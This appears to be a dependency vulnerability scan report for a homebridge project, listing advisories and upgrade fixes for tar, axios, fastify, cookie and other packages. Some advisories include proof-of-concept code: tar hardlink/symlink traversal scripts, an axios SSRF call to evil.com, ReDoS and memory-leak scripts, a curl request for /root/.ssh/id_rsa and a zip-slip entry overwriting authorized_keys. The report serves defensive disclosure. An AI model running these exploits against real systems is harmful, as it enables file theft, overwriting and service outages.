// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Remediation
Upgrade tar to version 7.5.4 or higher.
References
medium severity
- Vulnerable module: cookie
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-fastify@9.0.3 › light-my-request@5.0.0 › cookie@0.5.0Remediation: Upgrade to homebridge-config-ui-x@4.62.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-socket.io@9.0.3 › socket.io@4.5.1 › engine.io@6.2.1 › cookie@0.4.2Remediation: Upgrade to homebridge-config-ui-x@4.63.0.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie name, path, or domain, which can be used to set unexpected values to other cookie fields.
Workaround
Users who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade cookie to version 0.7.0 or higher.
References
medium severity
- Vulnerable module: fastify
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-fastify@9.0.3 › fastify@4.2.0Remediation: Upgrade to homebridge-config-ui-x@5.16.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › fastify@4.2.1Remediation: Upgrade to homebridge-config-ui-x@5.16.0.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the sendWebStream function. An attacker can cause excessive memory consumption by sending a slow or non-reading client request, leading to unbounded buffering and severe performance degradation or process crashes.
Note: Only applications that return a ReadableStream (or Response with a Web Stream body) via reply.send() are impacted
Workaround
This vulnerability can be mitigated by avoiding Fastify Web Streams in responses and instead using Node.js streams or buffered payloads.
Remediation
Upgrade fastify to version 5.7.3 or higher.
References
medium severity
- Vulnerable module: systeminformation
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › systeminformation@5.12.1Remediation: Upgrade to homebridge-config-ui-x@4.65.1.
Overview
systeminformation is a simple system and OS information library.
Affected versions of this package are vulnerable to Arbitrary Code Injection through the getWindowsIEEE8021x() function. An attacker can execute arbitrary commands on the system by injecting malicious commands into an SSID and convincing a user to connect to it. The function then passes this value to the command line without proper sanitization.
Note: This is only exploitable on Windows.
Remediation
Upgrade systeminformation to version 5.23.8 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@4.72.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/axios@0.1.0 › axios@0.27.2
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @oznu/hap-client@1.9.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@4.56.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.
PoC
const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');
Remediation
Upgrade axios to version 0.30.0, 1.8.2 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@4.72.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/axios@0.1.0 › axios@0.27.2
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @oznu/hap-client@1.9.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@4.56.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.
Remediation
Upgrade axios to version 0.30.0, 1.8.3 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @fastify/static@6.4.0 › glob@8.1.0 › inflight@1.0.6
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @fastify/swagger@7.4.1 › @fastify/static@6.12.0 › glob@8.1.0 › inflight@1.0.6
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › unzipper@0.10.11 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: tar
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › tar@6.1.11Remediation: Upgrade to homebridge-config-ui-x@5.15.2.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.7 or higher.
References
medium severity
new
- Vulnerable module: fastify
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-fastify@9.0.3 › fastify@4.2.0
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › fastify@4.2.1Remediation: Upgrade to homebridge-config-ui-x@5.21.0.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Use of Less Trusted Source in the request.protocol and request.host getters. An attacker can manipulate the perceived protocol and host by sending crafted X-Forwarded-Proto and X-Forwarded-Host headers after bypassing the proxy and connecting directly to the application port, potentially impacting security decisions such as HTTPS enforcement, secure cookie flags, CSRF origin checks, URL construction, or host-based routing.
Note: This is only exploitable if the application uses the trustProxy option with a restrictive trust function and relies on request.protocol or request.host for security decisions, and the attacker is able to connect directly to the application, bypassing the proxy.
Remediation
Upgrade fastify to version 5.8.3 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › tar@6.1.11Remediation: Upgrade to homebridge-config-ui-x@5.15.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.
PoC
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.3 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@4.55.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/axios@0.1.0 › axios@0.27.2
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @oznu/hap-client@1.9.0 › axios@0.27.2Remediation: Upgrade to homebridge-config-ui-x@4.56.0.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.
PoC
const axios = require('axios');
console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');
console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');
/* stdout
t1: 60.826ms
t2: 5.826s
*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios to version 0.29.0, 1.6.3 or higher.
References
medium severity
- Vulnerable module: @nestjs/common
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/common@9.0.3Remediation: Upgrade to homebridge-config-ui-x@4.73.0.
Overview
@nestjs/common is a Nest - modern, fast, powerful node.js web framework (@common)
Affected versions of this package are vulnerable to Arbitrary Code Injection via the FileTypeValidator function due to improper MIME Type Validation. An attacker can execute arbitrary code by sending a crafted payload in the Content-Type header of a request.
Note:
The FileTypeValidator documentation specifically mentions that it is vulnerable and provides security enhancement recommendations.
Remediation
Upgrade @nestjs/common to version 10.4.16, 11.0.16 or higher.
References
medium severity
- Vulnerable module: fastify
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/platform-fastify@9.0.3 › fastify@4.2.0Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › fastify@4.2.1Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF). An attacker can use the incorrect Content-Type to bypass the Pre-Flight checking of fetch. fetch() requests with Content-Type’s essence as "application/x-www-form-urlencoded", "multipart/form-data", or "text/plain", could potentially be used to invoke routes that only accepts application/json content type, thus bypassing any CORS protection, and therefore they could lead to a Cross-Site Request Forgery attack.
Remediation
Upgrade fastify to version 3.29.4, 4.10.2 or higher.
References
low severity
- Vulnerable module: @nestjs/core
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @nestjs/core@9.0.3Remediation: Upgrade to homebridge-config-ui-x@4.50.1.
Overview
@nestjs/core is a Nest - modern, fast, powerful node.js web framework (@core)
Affected versions of this package are vulnerable to Information Exposure via the StreamableFile pipe. Exploiting this vulnerability is possible when the client cancels a request while it is streaming a StreamableFile, the stream wrapped by the StreamableFile will be kept open.
Remediation
Upgrade @nestjs/core to version 9.0.5 or higher.
References
low severity
- Vulnerable module: class-validator
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › class-validator@0.13.2Remediation: Upgrade to homebridge-config-ui-x@4.51.0.
Overview
class-validator is a decorator-based property validation for classes.
Affected versions of this package are vulnerable to Improper Input Validation via bypassing the input validation in validate(), as certain internal attributes can be overwritten via a conflicting name.
NOTE:
There is an optional forbidUnknownValues parameter that can be used to reduce the risk of this bypass.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade class-validator to version 0.14.0 or higher.
References
low severity
- Vulnerable module: send
- Introduced through: homebridge-config-ui-x@4.50.0
Detailed paths
-
Introduced through: balena-homebridge@aifreedom/balena-homebridge#193e6965b0a047104311624e7e652b836b4ffe09 › homebridge-config-ui-x@4.50.0 › @fastify/static@6.4.0 › send@0.18.0
Overview
send is a Better streaming static file server with Range and conditional-GET support
Affected versions of this package are vulnerable to Cross-site Scripting due to improper user input sanitization passed to the SendStream.redirect() function, which executes untrusted code. An attacker can execute arbitrary code by manipulating the input parameters to this method.
Note:
Exploiting this vulnerability requires the following:
The attacker needs to control the input to
response.redirect()Express MUST NOT redirect before the template appears
The browser MUST NOT complete redirection before
The user MUST click on the link in the template
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade send to version 0.19.0, 1.1.0 or higher.